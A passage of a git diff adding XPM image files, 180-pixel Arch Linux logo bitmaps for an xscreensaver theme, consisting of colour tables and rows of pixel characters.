,)!!!!!!!!!))))))))!!!!!!!!!!!!!!!!!!!!!))),,,,,,,,,,,,,,))))!!!!!!!!!!!!!!!!!!!!!!))))))!!!!!!!!!), ", +" ,))!!!!!!!!!!)))!!!!!!!!!!!!!!!!!!!!!!!!)))),,,,,,,,,,,,,,))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)), ", +" ,))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))),,,,,,,,,,,,,,,,)))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)), ", +" ,))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)),,,,,,,,,,,,,,,,,,))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)), ", +" ,,)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))),,,,,,,,,,,,,,,,,,,)))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!),, ", +" ,,))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))),,,,,,,,,,,,,,,,,,,,))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)),, ", +" ,,,)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))),,,,,,,,,,,,,,,,,,,,))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!),,, ", +" ,,,)!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))),,,,,,,,,,,,,,,,,,,,)))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!)--- ", +" ,,-,!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))),,,,,,,,,,,,,,,,,,,))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!,---, ", +" ,---,!!!!!!!!!!!!!!!!!!!!!!!!)))))))))),,,,,,,,,,,,,,,,,,))))))))))))!!!!!!!!!!!!!!!!!!!!!!,----, ", +" -----,!!!!!!!!!!!!!!!!!!!!!!!)))))))))),,,,,,,,,,,,,,,,))))))))))))!!!!!!!!!!!!!!!!!!!!!,------ ", +" ------,)!!!!!!!!!!!!!!!!!!!!!!!!)))))))),,,,,,,,,,,,))))))))))!!!!!!!!!!!!!!!!!!!!!!),------ ", +" -------,)!!!!!!!!!!!!!!!!!!!!!!!!!))))))),,,,,,)))))))!!!!!!!!!!!!!!!!!!!!!!!!!),,------- ", +" --------,,)!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!),,,,,----- ", +" -----,,,,,))!!!!!!!!!!!!!!!!!!!!))))))))))))))))!!!!!!!!!!!!!!!!!!!!)),,,,,,,,--, ", +" ---,,,,,,,,)))!!!!!!!!!!!!!!!!!!))))))))))))!!!!!!!!!!!!!!!!!!!!)))),,,,,,,, ", +" ,,,,,,,,))))!!!!!!!!!!!!!!!))))))))))))))))!!!!!!!!!!!!!!!!!!)))),,,,, ", +" ,,,)))))!!!!!!!!!!!!!))))))))))))))))))))!!!!!!!!!!!!!!!!)))), ", +" )))!!!!!!!!!!!!!!))))))))))))))))))))!!!!!!!!!!!!!!!!) ", +" !!!!!!!!!!!))))))))))))))))))))!!!!!!!!!!! ", +" !!)))))))))))))))))))))!! ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-hicontrast-2.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-hicontrast-2.xpm new file mode 100644 index 0000000..cf13bf9 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-hicontrast-2.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_hicontrast_2_xpm[] = { +"180 180 17 1", +" c None", +". c #000100", +"+ c #191A18", +"@ c #262826", +"# c #363735", +"$ c #444643", +"% c #545553", +"& c #646663", +"* c #767875", +"= c #838582", +"- c #929491", +"; c #A6A8A5", +"> c #B5B7B4", +", c #C6C8C5", +"' c #D6D8D5", +") c #E9ECE8", +"! c #FEFFFC", +" ", +" !!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)'>-*%%$$######$$%%*-;,)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!,-%@........................+%=>)!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!)-%..................................$='!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!;$........................................@-)!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!)*+.............................................%,!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!)*..................................................%,!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!*......................................................%)!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!,@.........................................................-!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!&............................................................#'!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!'#..............................................................+>!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!>+.................................................................=!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!;....................................................................&!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!;......................................................................&!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!;........................................................................&!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!>..........................................................................=!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!'+...........................................................................>!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!@.............................................................................'!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!&..............................................................................$!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!,....................................+@####@+....................................-!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!@.............................#&-,)!!!!!!!!!!!!),-&#.............................+)!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!=...........................#-)!!!!!!!!!!!!!!!!!!!!!!'-#...........................&!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!)+.........................%'!!!!!!!!!!!!!!!!!!!!!!!!!!!!,%..........................'!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!=........................#,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,#........................&!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!)+.......................*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*........................'!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!-.......................>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>.......................=!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!#......................>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>......................@!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!'......................>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>......................,!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!=.....................=!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=.....................&!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!#....................$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$....................@!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!).....................'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'.....................)!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!>....................*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&....................;!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!*....................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)....................&!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!$...................&!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%...................#!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!+...................,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,...................+!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!...................+!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!+...................)!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'...................&!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!&...................,!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!;...................>!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!;...................;!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!;...................)!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!)...................;!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!-..................@!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!@..................-!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!=..................%!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!%..................=!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!*..................*!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!*..................=!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!*..................-!!!!!!!!!!!!!! !!!!!!!!!!!!!!-..................*!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!*..................;!!!!!!!!!!!!!! !!!!!!!!!!!!!!;..................*!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!*..................>!!!!!!!!!!!!!! !!!!!!!!!!!!!!>..................*!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!*..................'!!!!!!!!!!!!!! !!!!!!!!!!!!!!,..................*!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!*..................'!!!!!!!!!!!!!! !!!!!!!!!!!!!!'..................*!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!*..................'!!!!!!!!!!!!!! !!!!!!!!!!!!!!'..................*!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!! !!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!! !!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*..................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)..................*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!';-=*******#..................********************************************************..................#********=;'!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!)*+....................................................................................................................+*'!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!-..........................................................................................................................-!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!*............................................................................................................................*!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!;..............................................................................................................................;!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!+..............................................................................................................................@!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!;................................................................................................................................;!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!&................................................................................................................................&!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!@................................................................................................................................@!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!..................................................................................................................................!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!)..................................................................................................................................)!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!'..................................................................................................................................'!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!)..................................................................................................................................)!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!..................................................................................................................................!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!%................................................................................................................................%!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!;................................................................................................................................;!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!@..............................................................................................................................+!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!>..............................................................................................................................;!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!&............................................................................................................................#!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!$..........................................................................................................................+)!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!)$........................................................................................................................+'!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!-......................................................................................................................#)!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!)=#.................................................................................................................$;!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!)''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''')!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ", +" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-hicontrast.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-hicontrast.xpm new file mode 100644 index 0000000..7e359bb --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-hicontrast.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_hicontrast_xpm[] = { +"180 180 17 1", +" c None", +". c #000100", +"+ c #1A1B19", +"@ c #212320", +"# c #2C2D2B", +"$ c #353734", +"% c #454744", +"& c #535452", +"* c #646663", +"= c #737572", +"- c #868885", +"; c #939592", +"> c #A6A8A5", +", c #B8BAB6", +"' c #C8CAC6", +") c #D8DAD7", +"! c #FDFFFC", +" ", +" .............. ", +" .............................. ", +" ........................................ ", +" .............................................. ", +" .................................................... ", +" .......................................................... ", +" .............................................................. ", +" .................................................................. ", +" ...................................................................... ", +" ......................................................................... ", +" ............................................................................ ", +" ............................................................................... ", +" .................................................................................. ", +" .................................................................................... ", +" ....................................................................................... ", +" .................................#&*->>,,'''''',,>>-=&$+................................. ", +" .............................$=>)!!!!!!!!!!!!!!!!!!!!!!!!)>-%.............................. ", +" ..........................+*>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,=#........................... ", +" .........................&,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)=+......................... ", +" .......................+-)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>$........................ ", +" ......................+;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,$...................... ", +" ......................-!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>+..................... ", +" .....................%)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=..................... ", +" ....................;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'@.................... ", +" ...................@'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%................... ", +" 